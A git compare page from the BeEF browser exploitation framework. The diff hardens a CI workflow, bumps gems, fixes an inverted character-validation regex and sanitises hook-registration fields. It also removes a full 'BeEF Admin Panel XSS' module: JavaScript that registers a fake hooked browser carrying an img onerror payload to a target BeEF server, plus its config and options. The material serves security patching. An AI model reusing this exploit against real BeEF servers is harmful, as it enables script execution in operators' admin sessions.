Compare commits
9 Commits
red/fix_xs
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
997a2e0a9e | ||
|
|
8a400906ae | ||
|
|
b36c502ec5 | ||
|
|
b98eff13e2 | ||
|
|
56b32f5da6 | ||
|
|
e5b227c049 | ||
|
|
7158f0fa44 | ||
|
|
70ec0de175 | ||
|
|
e3a668e258 |
21
.github/workflows/github_actions.yml
vendored
21
.github/workflows/github_actions.yml
vendored
@@ -3,17 +3,28 @@ name: 'BrowserStack Test'
|
|||||||
on:
|
on:
|
||||||
pull_request_target:
|
pull_request_target:
|
||||||
branches: [ master ]
|
branches: [ master ]
|
||||||
|
types: [ labeled ]
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
ubuntu-job:
|
ubuntu-job:
|
||||||
name: 'BrowserStack Test on Ubuntu'
|
name: 'BrowserStack Test on Ubuntu'
|
||||||
runs-on: ubuntu-latest # Can be self-hosted runner also
|
runs-on: ubuntu-latest
|
||||||
environment:
|
if: github.event.label.name == 'safe_to_test'
|
||||||
name: Integrate Pull Request
|
|
||||||
env:
|
env:
|
||||||
GITACTIONS: true
|
GITACTIONS: true
|
||||||
steps:
|
steps:
|
||||||
|
|
||||||
|
- name: 'Remove safe_to_test label'
|
||||||
|
uses: actions/github-script@v8
|
||||||
|
with:
|
||||||
|
script: |
|
||||||
|
await github.rest.issues.removeLabel({
|
||||||
|
owner: context.repo.owner,
|
||||||
|
repo: context.repo.repo,
|
||||||
|
issue_number: context.payload.pull_request.number,
|
||||||
|
name: 'safe_to_test'
|
||||||
|
});
|
||||||
|
|
||||||
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
|
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
|
||||||
uses: browserstack/github-actions/setup-env@master
|
uses: browserstack/github-actions/setup-env@master
|
||||||
with:
|
with:
|
||||||
@@ -27,7 +38,7 @@ jobs:
|
|||||||
local-identifier: random
|
local-identifier: random
|
||||||
|
|
||||||
- name: 'Checkout the repository'
|
- name: 'Checkout the repository'
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
with:
|
with:
|
||||||
ref: ${{ github.event.pull_request.head.sha }}
|
ref: ${{ github.event.pull_request.head.sha }}
|
||||||
fetch-depth: 2
|
fetch-depth: 2
|
||||||
@@ -40,11 +51,13 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
sudo apt update
|
sudo apt update
|
||||||
sudo apt install libcurl4 libcurl4-openssl-dev
|
sudo apt install libcurl4 libcurl4-openssl-dev
|
||||||
|
|
||||||
- name: 'Configure Bundle testing and install gems'
|
- name: 'Configure Bundle testing and install gems'
|
||||||
run: |
|
run: |
|
||||||
bundle config unset --local without
|
bundle config unset --local without
|
||||||
bundle config set --local with 'test' 'development'
|
bundle config set --local with 'test' 'development'
|
||||||
bundle install
|
bundle install
|
||||||
|
|
||||||
- name: 'Run BrowserStack simple verification'
|
- name: 'Run BrowserStack simple verification'
|
||||||
run: |
|
run: |
|
||||||
bundle exec rake browserstack --trace
|
bundle exec rake browserstack --trace
|
||||||
|
|||||||
2
Gemfile
2
Gemfile
@@ -24,7 +24,7 @@ gem 'rake', '~> 13.3'
|
|||||||
gem 'activerecord', '~> 8.1'
|
gem 'activerecord', '~> 8.1'
|
||||||
gem 'otr-activerecord', '~> 2.6.0'
|
gem 'otr-activerecord', '~> 2.6.0'
|
||||||
gem 'sqlite3', '~> 2.9'
|
gem 'sqlite3', '~> 2.9'
|
||||||
gem 'rubocop', '~> 1.84.2', require: false
|
gem 'rubocop', '~> 1.85.0', require: false
|
||||||
|
|
||||||
# Geolocation support
|
# Geolocation support
|
||||||
group :geoip do
|
group :geoip do
|
||||||
|
|||||||
12
Gemfile.lock
12
Gemfile.lock
@@ -91,11 +91,16 @@ GEM
|
|||||||
rdoc (>= 4.0.0)
|
rdoc (>= 4.0.0)
|
||||||
reline (>= 0.4.2)
|
reline (>= 0.4.2)
|
||||||
json (2.18.1)
|
json (2.18.1)
|
||||||
|
json-schema (6.1.0)
|
||||||
|
addressable (~> 2.8)
|
||||||
|
bigdecimal (>= 3.1, < 5)
|
||||||
language_server-protocol (3.17.0.5)
|
language_server-protocol (3.17.0.5)
|
||||||
lint_roller (1.1.0)
|
lint_roller (1.1.0)
|
||||||
logger (1.7.0)
|
logger (1.7.0)
|
||||||
matrix (0.4.3)
|
matrix (0.4.3)
|
||||||
maxmind-db (1.4.0)
|
maxmind-db (1.4.0)
|
||||||
|
mcp (0.7.1)
|
||||||
|
json-schema (>= 4.1)
|
||||||
method_source (1.1.0)
|
method_source (1.1.0)
|
||||||
mime-types (3.7.0)
|
mime-types (3.7.0)
|
||||||
logger
|
logger
|
||||||
@@ -136,7 +141,7 @@ GEM
|
|||||||
activerecord (>= 6.0, < 9.0)
|
activerecord (>= 6.0, < 9.0)
|
||||||
parallel (1.27.0)
|
parallel (1.27.0)
|
||||||
parseconfig (1.1.2)
|
parseconfig (1.1.2)
|
||||||
parser (3.3.10.1)
|
parser (3.3.10.2)
|
||||||
ast (~> 2.4.1)
|
ast (~> 2.4.1)
|
||||||
racc
|
racc
|
||||||
power_assert (2.0.5)
|
power_assert (2.0.5)
|
||||||
@@ -199,10 +204,11 @@ GEM
|
|||||||
diff-lcs (>= 1.2.0, < 2.0)
|
diff-lcs (>= 1.2.0, < 2.0)
|
||||||
rspec-support (~> 3.13.0)
|
rspec-support (~> 3.13.0)
|
||||||
rspec-support (3.13.6)
|
rspec-support (3.13.6)
|
||||||
rubocop (1.84.2)
|
rubocop (1.85.0)
|
||||||
json (~> 2.3)
|
json (~> 2.3)
|
||||||
language_server-protocol (~> 3.17.0.2)
|
language_server-protocol (~> 3.17.0.2)
|
||||||
lint_roller (~> 1.1.0)
|
lint_roller (~> 1.1.0)
|
||||||
|
mcp (~> 0.6)
|
||||||
parallel (~> 1.10)
|
parallel (~> 1.10)
|
||||||
parser (>= 3.3.0.2)
|
parser (>= 3.3.0.2)
|
||||||
rainbow (>= 2.2.2, < 4.0)
|
rainbow (>= 2.2.2, < 4.0)
|
||||||
@@ -339,7 +345,7 @@ DEPENDENCIES
|
|||||||
rdoc (~> 7.2)
|
rdoc (~> 7.2)
|
||||||
rest-client (~> 2.1.0)
|
rest-client (~> 2.1.0)
|
||||||
rspec (~> 3.13)
|
rspec (~> 3.13)
|
||||||
rubocop (~> 1.84.2)
|
rubocop (~> 1.85.0)
|
||||||
rubyzip (~> 3.2)
|
rubyzip (~> 3.2)
|
||||||
rushover (~> 0.3.0)
|
rushover (~> 0.3.0)
|
||||||
selenium-webdriver (~> 4.41)
|
selenium-webdriver (~> 4.41)
|
||||||
|
|||||||
@@ -187,7 +187,7 @@ module BeEF
|
|||||||
def self.has_valid_browser_details_chars?(str)
|
def self.has_valid_browser_details_chars?(str)
|
||||||
return false unless is_non_empty_string?(str)
|
return false unless is_non_empty_string?(str)
|
||||||
|
|
||||||
!(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
|
(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
|
||||||
end
|
end
|
||||||
|
|
||||||
# Check for valid base details characters
|
# Check for valid base details characters
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ module BeEF
|
|||||||
def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix
|
def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix
|
||||||
return false unless is_non_empty_string?(str)
|
return false unless is_non_empty_string?(str)
|
||||||
return false if str.length > 2
|
return false if str.length > 2
|
||||||
return false if has_non_printable_char?(str)
|
return false unless has_valid_browser_details_chars?(str)
|
||||||
|
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
@@ -21,7 +21,7 @@ module BeEF
|
|||||||
# @return [Boolean] If the string has valid Operating System name characters
|
# @return [Boolean] If the string has valid Operating System name characters
|
||||||
def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix
|
def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix
|
||||||
return false unless is_non_empty_string?(str)
|
return false unless is_non_empty_string?(str)
|
||||||
return false if has_non_printable_char?(str)
|
return false unless has_valid_browser_details_chars?(str)
|
||||||
return false if str.length < 2
|
return false if str.length < 2
|
||||||
|
|
||||||
true
|
true
|
||||||
@@ -32,7 +32,7 @@ module BeEF
|
|||||||
# @return [Boolean] If the string has valid Hardware name characters
|
# @return [Boolean] If the string has valid Hardware name characters
|
||||||
def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix
|
def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix
|
||||||
return false unless is_non_empty_string?(str)
|
return false unless is_non_empty_string?(str)
|
||||||
return false if has_non_printable_char?(str)
|
return false unless has_valid_browser_details_chars?(str)
|
||||||
return false if str.length < 2
|
return false if str.length < 2
|
||||||
|
|
||||||
true
|
true
|
||||||
@@ -71,7 +71,7 @@ module BeEF
|
|||||||
# @return [Boolean] If the string has valid browser / ua string characters
|
# @return [Boolean] If the string has valid browser / ua string characters
|
||||||
def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix
|
def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix
|
||||||
return false unless is_non_empty_string?(str)
|
return false unless is_non_empty_string?(str)
|
||||||
return false if has_non_printable_char?(str)
|
return false unless has_valid_browser_details_chars?(str)
|
||||||
return false if str.length > 300
|
return false if str.length > 300
|
||||||
|
|
||||||
true
|
true
|
||||||
@@ -93,7 +93,7 @@ module BeEF
|
|||||||
# @return [Boolean] If the string has valid system platform characters
|
# @return [Boolean] If the string has valid system platform characters
|
||||||
def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix
|
def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix
|
||||||
return false unless is_non_empty_string?(str)
|
return false unless is_non_empty_string?(str)
|
||||||
return false if has_non_printable_char?(str)
|
return false unless has_valid_browser_details_chars?(str)
|
||||||
return false if str.length > 200
|
return false if str.length > 200
|
||||||
|
|
||||||
true
|
true
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ module BeEF
|
|||||||
|
|
||||||
# hooked window host name
|
# hooked window host name
|
||||||
log_zombie_port = 0
|
log_zombie_port = 0
|
||||||
if !@data['results']['browser.window.hostname'].nil?
|
if !@data['results']['browser.window.hostname'].nil? && BeEF::Filters.is_valid_hostname?(@data['results']['browser.window.hostname'])
|
||||||
log_zombie_domain = @data['results']['browser.window.hostname']
|
log_zombie_domain = @data['results']['browser.window.hostname']
|
||||||
elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
|
elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
|
||||||
referer = @data['request'].referer
|
referer = @data['request'].referer
|
||||||
@@ -59,7 +59,7 @@ module BeEF
|
|||||||
end
|
end
|
||||||
|
|
||||||
# hooked window host port
|
# hooked window host port
|
||||||
if @data['results']['browser.window.hostport'].nil?
|
if @data['results']['browser.window.hostport'].nil? || !BeEF::Filters.is_valid_port?(@data['results']['browser.window.hostport'].to_s)
|
||||||
log_zombie_domain_parts = log_zombie_domain.split(':')
|
log_zombie_domain_parts = log_zombie_domain.split(':')
|
||||||
log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1
|
log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1
|
||||||
else
|
else
|
||||||
@@ -92,6 +92,7 @@ module BeEF
|
|||||||
BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
|
BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
|
||||||
else
|
else
|
||||||
err_msg "Invalid browser name returned from the hook browser's initial connection."
|
err_msg "Invalid browser name returned from the hook browser's initial connection."
|
||||||
|
browser_name = 'Unknown'
|
||||||
end
|
end
|
||||||
|
|
||||||
if BeEF::Filters.is_valid_ip?(zombie.ip)
|
if BeEF::Filters.is_valid_ip?(zombie.ip)
|
||||||
@@ -242,11 +243,17 @@ module BeEF
|
|||||||
X_FORWARDED
|
X_FORWARDED
|
||||||
X_FORWARDED_FOR
|
X_FORWARDED_FOR
|
||||||
].each do |header|
|
].each do |header|
|
||||||
proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil?
|
val = JSON.parse(zombie.httpheaders)[header]
|
||||||
|
unless val.nil?
|
||||||
|
val.to_s.split(',').each do |ip|
|
||||||
|
proxy_clients << ip.strip if BeEF::Filters.is_valid_ip?(ip.strip)
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# retrieve proxy server
|
# retrieve proxy server
|
||||||
proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
|
proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
|
||||||
|
proxy_server = nil unless proxy_server.nil? || BeEF::Filters.has_valid_browser_details_chars?(proxy_server)
|
||||||
|
|
||||||
# store and log proxy details
|
# store and log proxy details
|
||||||
if using_proxy == true
|
if using_proxy == true
|
||||||
@@ -273,6 +280,7 @@ module BeEF
|
|||||||
BD.set(session_id, 'browser.version', browser_version)
|
BD.set(session_id, 'browser.version', browser_version)
|
||||||
else
|
else
|
||||||
err_msg "Invalid browser version returned from the hook browser's initial connection."
|
err_msg "Invalid browser version returned from the hook browser's initial connection."
|
||||||
|
browser_version = 'Unknown'
|
||||||
end
|
end
|
||||||
|
|
||||||
# get and store browser string
|
# get and store browser string
|
||||||
@@ -293,7 +301,11 @@ module BeEF
|
|||||||
|
|
||||||
# get and store browser language
|
# get and store browser language
|
||||||
browser_lang = get_param(@data['results'], 'browser.language')
|
browser_lang = get_param(@data['results'], 'browser.language')
|
||||||
BD.set(session_id, 'browser.language', browser_lang)
|
if BeEF::Filters.has_valid_browser_details_chars?(browser_lang)
|
||||||
|
BD.set(session_id, 'browser.language', browser_lang)
|
||||||
|
else
|
||||||
|
err_msg "Invalid browser language returned from the hook browser's initial connection."
|
||||||
|
end
|
||||||
|
|
||||||
# get and store the cookies
|
# get and store the cookies
|
||||||
cookies = get_param(@data['results'], 'browser.window.cookies')
|
cookies = get_param(@data['results'], 'browser.window.cookies')
|
||||||
@@ -309,6 +321,7 @@ module BeEF
|
|||||||
BD.set(session_id, 'host.os.name', os_name)
|
BD.set(session_id, 'host.os.name', os_name)
|
||||||
else
|
else
|
||||||
err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||||
|
os_name = 'Unknown'
|
||||||
end
|
end
|
||||||
|
|
||||||
# get and store the OS family
|
# get and store the OS family
|
||||||
@@ -322,15 +335,28 @@ module BeEF
|
|||||||
# get and store the OS version
|
# get and store the OS version
|
||||||
# - without checks as it can be very different, for instance on linux/bsd)
|
# - without checks as it can be very different, for instance on linux/bsd)
|
||||||
os_version = get_param(@data['results'], 'host.os.version')
|
os_version = get_param(@data['results'], 'host.os.version')
|
||||||
BD.set(session_id, 'host.os.version', os_version)
|
if BeEF::Filters.has_valid_browser_details_chars?(os_version)
|
||||||
|
BD.set(session_id, 'host.os.version', os_version)
|
||||||
|
else
|
||||||
|
err_msg "Invalid operating system version returned from the hook browser's initial connection."
|
||||||
|
os_version = 'Unknown'
|
||||||
|
end
|
||||||
|
|
||||||
# get and store the OS arch - without checks
|
# get and store the OS arch
|
||||||
os_arch = get_param(@data['results'], 'host.os.arch')
|
os_arch = get_param(@data['results'], 'host.os.arch')
|
||||||
BD.set(session_id, 'host.os.arch', os_arch)
|
if BeEF::Filters.has_valid_browser_details_chars?(os_arch)
|
||||||
|
BD.set(session_id, 'host.os.arch', os_arch)
|
||||||
|
else
|
||||||
|
err_msg "Invalid operating system architecture returned from the hook browser's initial connection."
|
||||||
|
end
|
||||||
|
|
||||||
# get and store default browser
|
# get and store default browser
|
||||||
default_browser = get_param(@data['results'], 'host.software.defaultbrowser')
|
default_browser = get_param(@data['results'], 'host.software.defaultbrowser')
|
||||||
BD.set(session_id, 'host.software.defaultbrowser', default_browser)
|
if BeEF::Filters.has_valid_browser_details_chars?(default_browser)
|
||||||
|
BD.set(session_id, 'host.software.defaultbrowser', default_browser)
|
||||||
|
else
|
||||||
|
err_msg "Invalid default browser returned from the hook browser's initial connection."
|
||||||
|
end
|
||||||
|
|
||||||
# get and store the hardware type
|
# get and store the hardware type
|
||||||
hw_type = get_param(@data['results'], 'hardware.type')
|
hw_type = get_param(@data['results'], 'hardware.type')
|
||||||
|
|||||||
@@ -1,168 +0,0 @@
|
|||||||
//
|
|
||||||
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
|
|
||||||
// Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
||||||
// See the file 'doc/COPYING' for copying permission
|
|
||||||
//
|
|
||||||
|
|
||||||
beef.execute(function() {
|
|
||||||
|
|
||||||
var target_beef_url = "<%= @target_beef_url.to_s.gsub('"', '\\"') %>";
|
|
||||||
var xss_payload = "<%= @xss_payload.to_s.gsub('\\', '\\\\\\\\').gsub('"', '\\"').gsub("'", "\\\\'") %>";
|
|
||||||
|
|
||||||
// Generate a random session ID (80 characters, uppercase + digits)
|
|
||||||
function generateHookId() {
|
|
||||||
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
|
||||||
var result = '';
|
|
||||||
for (var i = 0; i < 80; i++) {
|
|
||||||
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
|
||||||
}
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get current timestamp in milliseconds
|
|
||||||
function ts() {
|
|
||||||
return Date.now();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Split string into chunks
|
|
||||||
function chunkString(str, length) {
|
|
||||||
var chunks = [];
|
|
||||||
for (var i = 0; i < str.length; i += length) {
|
|
||||||
chunks.push(str.substring(i, i + length));
|
|
||||||
}
|
|
||||||
return chunks;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Base64 encode (using browser's btoa)
|
|
||||||
function b64encode(str) {
|
|
||||||
return btoa(str);
|
|
||||||
}
|
|
||||||
|
|
||||||
var HOOK = generateHookId();
|
|
||||||
|
|
||||||
// Build the malicious payload - XSS is injected into host.os.name
|
|
||||||
// Note: the payload is wrapped in the img onerror handler
|
|
||||||
var malicious_os_name = "Linux<img src=x onError=" + xss_payload + ">";
|
|
||||||
|
|
||||||
var browser_data = [{
|
|
||||||
"cid": 0,
|
|
||||||
"results": {
|
|
||||||
"browser.window.cookies": "BEEFHOOK=" + HOOK,
|
|
||||||
"browser.name": "FFAA",
|
|
||||||
"browser.version": "146.0",
|
|
||||||
"browser.engine": "Gecko",
|
|
||||||
"browser.name.reported": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
|
|
||||||
"browser.platform": "Linux x86_64",
|
|
||||||
"browser.language": "en-US",
|
|
||||||
"browser.plugins": "PDF Viewer-v.undefined",
|
|
||||||
"browser.window.title": "Unknown",
|
|
||||||
"browser.window.origin": "http://exploited-host:8000",
|
|
||||||
"browser.window.hostname": "exploited-host",
|
|
||||||
"browser.window.hostport": "8000",
|
|
||||||
"browser.window.uri": "http://exploited-host:8000/victim.html",
|
|
||||||
"browser.window.referrer": "http://exploited-host:8000/victim.html",
|
|
||||||
"browser.window.size.width": 1678,
|
|
||||||
"browser.window.size.height": 168,
|
|
||||||
"browser.date.datestamp": "Fri Jan 16 2026 23:34:24 GMT+1000 (Australian Eastern Standard Time)",
|
|
||||||
"host.os.name": malicious_os_name,
|
|
||||||
"host.os.family": "Linux",
|
|
||||||
"host.os.arch": 64,
|
|
||||||
"host.software.defaultbrowser": "Unknown",
|
|
||||||
"hardware.type": "Unknown",
|
|
||||||
"hardware.memory": "unknown",
|
|
||||||
"hardware.gpu": "unknown",
|
|
||||||
"hardware.gpu.vendor": "unknown",
|
|
||||||
"hardware.cpu.arch": "x86_64",
|
|
||||||
"hardware.cpu.cores": 32,
|
|
||||||
"hardware.battery.chargingstatus": "unknown",
|
|
||||||
"hardware.battery.level": "unknown",
|
|
||||||
"hardware.battery.chargingtime": "unknown",
|
|
||||||
"hardware.battery.dischargingtime": "unknown",
|
|
||||||
"hardware.screen.size.width": 5120,
|
|
||||||
"hardware.screen.size.height": 2160,
|
|
||||||
"hardware.screen.colordepth": 24,
|
|
||||||
"hardware.screen.touchenabled": "No",
|
|
||||||
"browser.capabilities.vbscript": "No",
|
|
||||||
"browser.capabilities.flash": "No",
|
|
||||||
"browser.capabilities.silverlight": "No",
|
|
||||||
"browser.capabilities.phonegap": "No",
|
|
||||||
"browser.capabilities.websocket": "Yes",
|
|
||||||
"browser.capabilities.webrtc": "No",
|
|
||||||
"browser.capabilities.webworker": "Yes",
|
|
||||||
"browser.capabilities.webgl": "No",
|
|
||||||
"browser.capabilities.googlegears": "No",
|
|
||||||
"browser.capabilities.activex": "No",
|
|
||||||
"browser.capabilities.quicktime": "No",
|
|
||||||
"browser.capabilities.realplayer": "No",
|
|
||||||
"browser.capabilities.wmp": "No",
|
|
||||||
"browser.capabilities.vlc": "No",
|
|
||||||
"HookSessionID": HOOK
|
|
||||||
},
|
|
||||||
"status": 0,
|
|
||||||
"handler": "/init"
|
|
||||||
}];
|
|
||||||
|
|
||||||
var encoded_data = b64encode(JSON.stringify(browser_data));
|
|
||||||
var chunks = chunkString(encoded_data, 383);
|
|
||||||
|
|
||||||
beef.debug("[BeEF Admin Panel XSS] Sending malicious hook registration to: " + target_beef_url);
|
|
||||||
beef.debug("[BeEF Admin Panel XSS] Generated Hook ID: " + HOOK);
|
|
||||||
beef.debug("[BeEF Admin Panel XSS] Payload chunks: " + chunks.length);
|
|
||||||
|
|
||||||
var requests_sent = 0;
|
|
||||||
var requests_completed = 0;
|
|
||||||
var total_requests = (2 * chunks.length) + 2; // 2 rounds of chunks + hook.js + final dh
|
|
||||||
|
|
||||||
function checkComplete() {
|
|
||||||
if (requests_completed >= total_requests) {
|
|
||||||
beef.net.send("<%= @command_url %>", <%= @command_id %>,
|
|
||||||
"result=Exploit sent successfully. Fake browser registered with Hook ID: " + HOOK +
|
|
||||||
". XSS will trigger when admin hovers over the browser entry in the Hooked Browsers list.",
|
|
||||||
beef.are.status_success());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Send chunks for session IDs 1 and 2
|
|
||||||
for (var sid = 1; sid <= 2; sid++) {
|
|
||||||
for (var idx = 0; idx < chunks.length; idx++) {
|
|
||||||
(function(s, i, chunk) {
|
|
||||||
var url = target_beef_url + "/dh?bh=" + HOOK + "&sid=" + s + "&pid=" + (i + 1) + "&pc=" + chunks.length + "&d=" + encodeURIComponent(chunk) + "&_=" + ts();
|
|
||||||
var img = new Image();
|
|
||||||
img.onload = img.onerror = function() {
|
|
||||||
requests_completed++;
|
|
||||||
checkComplete();
|
|
||||||
};
|
|
||||||
img.src = url;
|
|
||||||
requests_sent++;
|
|
||||||
})(sid, idx, chunks[idx]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Send hook.js request after a short delay
|
|
||||||
setTimeout(function() {
|
|
||||||
var hookUrl = target_beef_url + "/hook.js?BEEFHOOK=" + HOOK + "&_=" + ts();
|
|
||||||
var img2 = new Image();
|
|
||||||
img2.onload = img2.onerror = function() {
|
|
||||||
requests_completed++;
|
|
||||||
checkComplete();
|
|
||||||
};
|
|
||||||
img2.src = hookUrl;
|
|
||||||
requests_sent++;
|
|
||||||
|
|
||||||
// Send final dh request
|
|
||||||
setTimeout(function() {
|
|
||||||
var finalChunk = chunks[chunks.length - 1] || "";
|
|
||||||
var finalUrl = target_beef_url + "/dh?bh=" + HOOK + "&sid=3&pid=1&pc=1&d=" + encodeURIComponent(finalChunk) + "&_=" + ts();
|
|
||||||
var img3 = new Image();
|
|
||||||
img3.onload = img3.onerror = function() {
|
|
||||||
requests_completed++;
|
|
||||||
checkComplete();
|
|
||||||
};
|
|
||||||
img3.src = finalUrl;
|
|
||||||
requests_sent++;
|
|
||||||
}, 100);
|
|
||||||
}, 500);
|
|
||||||
|
|
||||||
beef.debug("[BeEF Admin Panel XSS] Initiated " + requests_sent + " requests");
|
|
||||||
|
|
||||||
});
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
#
|
|
||||||
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
|
|
||||||
# Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
||||||
# See the file 'doc/COPYING' for copying permission
|
|
||||||
#
|
|
||||||
beef:
|
|
||||||
module:
|
|
||||||
beef_admin_panel_xss:
|
|
||||||
enable: true
|
|
||||||
category: "Exploits"
|
|
||||||
name: "BeEF Admin Panel XSS"
|
|
||||||
description: "This module exploits a Stored XSS vulnerability in the BeEF Admin Panel's Hooked Browsers tooltip. It registers a fake hooked browser with a malicious OS name containing JavaScript payload. When the BeEF administrator hovers over the fake browser entry, the XSS payload executes.<br/><br/>This can be used to test if a target BeEF instance is running a vulnerable version."
|
|
||||||
authors: ["author"]
|
|
||||||
target:
|
|
||||||
working: ["ALL"]
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
#
|
|
||||||
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
|
|
||||||
# Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
||||||
# See the file 'doc/COPYING' for copying permission
|
|
||||||
#
|
|
||||||
class Beef_admin_panel_xss < BeEF::Core::Command
|
|
||||||
def self.options
|
|
||||||
[
|
|
||||||
{ 'name' => 'target_beef_url', 'ui_label' => 'Target BeEF URL', 'value' => 'http://localhost:3000', 'width' => '300px' },
|
|
||||||
{ 'name' => 'xss_payload', 'ui_label' => 'XSS Payload (JavaScript)', 'value' => "alert(String.fromCharCode(88,83,83))", 'width' => '400px' }
|
|
||||||
]
|
|
||||||
end
|
|
||||||
|
|
||||||
def post_execute
|
|
||||||
save({ 'result' => @datastore['result'] })
|
|
||||||
end
|
|
||||||
end
|
|
||||||
Reference in New Issue
Block a user